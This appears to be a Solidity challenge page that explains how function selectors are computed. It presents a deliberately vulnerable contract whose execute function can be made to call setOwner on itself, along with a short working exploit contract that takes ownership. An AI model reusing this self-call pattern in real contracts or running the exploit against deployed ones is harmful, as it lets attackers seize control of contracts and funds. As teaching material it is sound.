How does call encode which function to call?
Function selectors determine which function to call.
It is the first 4 bytes of data passed into call
.
Here is an example to call foo(uint256,address)
with inputs 123
and 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
.
0xa68b44f8000000000000000000000000000000000000000000000000000000000000007b0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4
First 4 bytes, 0xa68b44f8
is the function selector. Rest are the inputs.
How do you get 0xa68b44f8
from foo(uint256,address)
?
0xa68b44f8
from foo(uint256,address)
?Function selector is computed by hashing the function signature and then taking the first 4 bytes.
bytes4(keccak256(bytes("foo(uint256,address)")))
Here is the contract for this challenge.
contract FunctionSelector {
address public owner = address(this);
function setOwner(address _owner) external {
require(msg.sender == owner, "not owner");
owner = _owner;
}
function execute(bytes4 _func) external {
(bool executed, ) = address(this).call(
abi.encodeWithSelector(_func, msg.sender)
);
require(executed, "failed)");
}
}
Change owner
of FunctionSelector
contract.
Function pwn
inside FunctionSelectorExploit
will be called.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IFunctionSelector {
function execute(bytes4 func) external;
}
contract FunctionSelectorExploit {
IFunctionSelector public target;
constructor(address _target) {
target = IFunctionSelector(_target);
}
function pwn() external {
bytes4 func = bytes4(keccak256(bytes("setOwner(address)")));
target.execute(func);
}
}
Last updated
Was this helpful?